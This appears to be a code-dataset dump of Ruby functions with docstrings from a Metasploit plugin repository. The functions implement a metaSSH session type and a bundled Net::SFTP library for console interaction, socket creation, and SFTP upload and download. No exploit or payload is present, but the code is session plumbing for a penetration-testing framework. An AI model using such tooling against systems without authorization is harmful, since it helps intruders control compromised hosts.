mad-metasploit-plugins/meta_ssh/lib/msf/base/sessions/meta_ssh.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/msf/base/sessions/meta_ssh.rb
|
MIT
|
def execute_file(full_path, args)
o = Rex::Script::MetaSSH.new(self, full_path)
o.run(args)
end
|
#
Msf::Session::Scriptable implementors
#
Runs the metaSSH script in the context of a script container
|
execute_file
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/msf/base/sessions/meta_ssh.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/msf/base/sessions/meta_ssh.rb
|
MIT
|
def init_ui(input, output)
self.user_input = input
self.user_output = output
console.init_ui(input, output)
console.set_log_source(log_source)
super
end
|
#
Msf::Session::Interactive implementors
#
Initializes the console's I/O handles.
|
init_ui
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/msf/base/sessions/meta_ssh.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/msf/base/sessions/meta_ssh.rb
|
MIT
|
def load_session_info()
begin
::Timeout.timeout(60) do
#nothing
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
# Log the error but otherwise ignore it so we don't kill the
# session if reporting failed for some reason
elog("Error loading sysinfo: #{e.class}: #{e}")
dlog("Call stack:\n#{e.backtrace.join("\n")}")
end
end
|
Populate the session information.
Also reports a session_fingerprint note for host os normalization.
|
load_session_info
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/msf/base/sessions/meta_ssh.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/msf/base/sessions/meta_ssh.rb
|
MIT
|
def _interact
framework.events.on_session_interact(self)
# Call the console interaction subsystem of the meterpreter client and
# pass it a block that returns whether or not we should still be
# interacting. This will allow the shell to abort if interaction is
# canceled.
console.interact { self.interacting != true }
# If the stop flag has been set, then that means the user exited. Raise
# the EOFError so we can drop this bitch like a bad habit.
raise EOFError if (console.stopped? == true)
end
|
Interacts with the meterpreter client at a user interface level.
|
_interact
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/msf/base/sessions/meta_ssh.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/msf/base/sessions/meta_ssh.rb
|
MIT
|
def create(param)
sock = nil
# Notify handlers before we create the socket
notify_before_socket_create(self, param)
sock = net.socket.create(param)
# sf: unsure if we should raise an exception or just return nil. returning nil for now.
#if( sock == nil )
# raise Rex::UnsupportedProtocol.new(param.proto), caller
#end
# Notify now that we've created the socket
notify_socket_created(self, sock, param)
# Return the socket to the caller
sock
end
|
#
Msf::Session::Comm implementors
#
Creates a connection based on the supplied parameters and returns it to
the caller. The connection is created relative to the remote machine on
which the meterpreter server instance is running.
|
create
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/msf/base/sessions/meta_ssh.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/msf/base/sessions/meta_ssh.rb
|
MIT
|
def sftp(wait=true)
@sftp ||= begin
sftp = Net::SFTP::Session.new(self)
sftp.connect! if wait
sftp
end
end
|
A convenience method for starting up a new SFTP connection on the current
SSH session. Blocks until the SFTP session is fully open, and then
returns the SFTP session.
Net::SSH.start("localhost", "user", "password") do |ssh|
ssh.sftp.upload!("/local/file.tgz", "/remote/file.tgz")
ssh.exec! "cd /some/path && tar xf /remote/file.tgz && rm /remote/file.tgz"
end
|
sftp
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/net/sftp.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/net/sftp.rb
|
MIT
|
def initialize(response, text=nil)
@response, @text = response, text
@code = response.code
@description = response.message
@description = Response::MAP[@code] if @description.nil? || @description.empty?
end
|
Create a new status exception that reports the given code and
description.
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/net/sftp/errors.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/net/sftp/errors.rb
|
MIT
|
def message
m = super.dup
m << " #{text}" if text
m << " (#{code}, #{description.inspect})"
end
|
Override the default message format, to include the code and
description.
|
message
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/net/sftp/errors.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/net/sftp/errors.rb
|
MIT
|
def initialize(data)
super
@type = read_byte
end
|
Create a new Packet object that wraps the given +data+ (which should be
a String). The first byte of the data will be consumed automatically and
interpreted as the #type of this packet.
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/net/sftp/packet.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/net/sftp/packet.rb
|
MIT
|
def initialize(session, type, id, &callback) #:nodoc:
@session, @id, @type, @callback = session, id, type, callback
@response = nil
@properties = {}
end
|
Instantiate a new Request object, serviced by the given +session+, and
being of the given +type+. The +id+ is the packet identifier for this
request.
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/net/sftp/request.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/net/sftp/request.rb
|
MIT
|
def wait
session.loop { Rex::ThreadSafe.sleep(0.1); pending?}
self
end
|
Waits (blocks) until the server responds to this packet. If prior
SFTP packets were also pending, they will be processed as well (since
SFTP packets are processed in the order in which they are received by
the server). Returns the request object itself.
|
wait
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/net/sftp/request.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/net/sftp/request.rb
|
MIT
|
def respond_to(packet) #:nodoc:
data = session.protocol.parse(packet)
data[:type] = packet.type
@response = Response.new(self, data)
callback.call(@response) if callback
end
|
When the server responds to this request, the packet is passed to
this method, which parses the packet and builds a Net::SFTP::Response
object to encapsulate it. If a #callback has been provided for this
request, the callback is invoked with the new response object.
|
respond_to
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/net/sftp/request.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/net/sftp/request.rb
|
MIT
|
def initialize(request, data={}) #:nodoc:
@request, @data = request, data
@code, @message = data[:code] || FX_OK, data[:message]
end
|
Create a new Response object for the given Net::SFTP::Request instance,
and with the given data. If there is no :code key in the data, the
code is assumed to be FX_OK.
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/net/sftp/response.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/net/sftp/response.rb
|
MIT
|
def to_s
if message && !message.empty? && message.downcase != MAP[code]
"#{message} (#{MAP[code]}, #{code})"
else
"#{MAP[code]} (#{code})"
end
end
|
Returns a textual description of this response, including the status
code and name.
|
to_s
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/net/sftp/response.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/net/sftp/response.rb
|
MIT
|
def ok?
code == FX_OK
end
|
Returns +true+ if the status code is FX_OK; +false+ otherwise.
|
ok?
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/net/sftp/response.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/net/sftp/response.rb
|
MIT
|
def eof?
code == FX_EOF
end
|
Returns +true+ if the status code is FX_EOF; +false+ otherwise.
|
eof?
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/net/sftp/response.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/net/sftp/response.rb
|
MIT
|
def initialize(session, &block)
@session = session
@input = Net::SSH::Buffer.new
self.logger = session.logger
@state = :closed
connect(&block)
end
|
Creates a new Net::SFTP instance atop the given Net::SSH connection.
This will return immediately, before the SFTP connection has been properly
initialized. Once the connection is ready, the given block will be called.
If you want to block until the connection has been initialized, try this:
sftp = Net::SFTP::Session.new(ssh)
sftp.loop { sftp.opening? }
|
initialize
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/net/sftp/session.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/net/sftp/session.rb
|
MIT
|
def upload(local, remote, options={}, &block)
Operations::Upload.new(self, local, remote, options, &block)
end
|
Initiates an upload from +local+ to +remote+, asynchronously. This
method will return a new Net::SFTP::Operations::Upload instance, and requires
the event loop to be run in order for the upload to progress. See
Net::SFTP::Operations::Upload for a full discussion of how this method can be
used.
uploader = sftp.upload("/local/path", "/remote/path")
uploader.wait
|
upload
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/net/sftp/session.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/net/sftp/session.rb
|
MIT
|
def upload!(local, remote, options={}, &block)
upload(local, remote, options, &block).wait
end
|
Identical to #upload, but blocks until the upload is complete.
|
upload!
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/net/sftp/session.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/net/sftp/session.rb
|
MIT
|
def download(remote, local, options={}, &block)
Operations::Download.new(self, local, remote, options, &block)
end
|
Initiates a download from +remote+ to +local+, asynchronously. This
method will return a new Net::SFTP::Operations::Download instance, and requires
that the event loop be run in order for the download to progress. See
Net::SFTP::Operations::Download for a full discussion of hos this method can be
used.
download = sftp.download("/remote/path", "/local/path")
download.wait
|
download
|
ruby
|
hahwul/mad-metasploit
|
mad-metasploit-plugins/meta_ssh/lib/net/sftp/session.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/mad-metasploit-plugins/meta_ssh/lib/net/sftp/session.rb
|
MIT
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.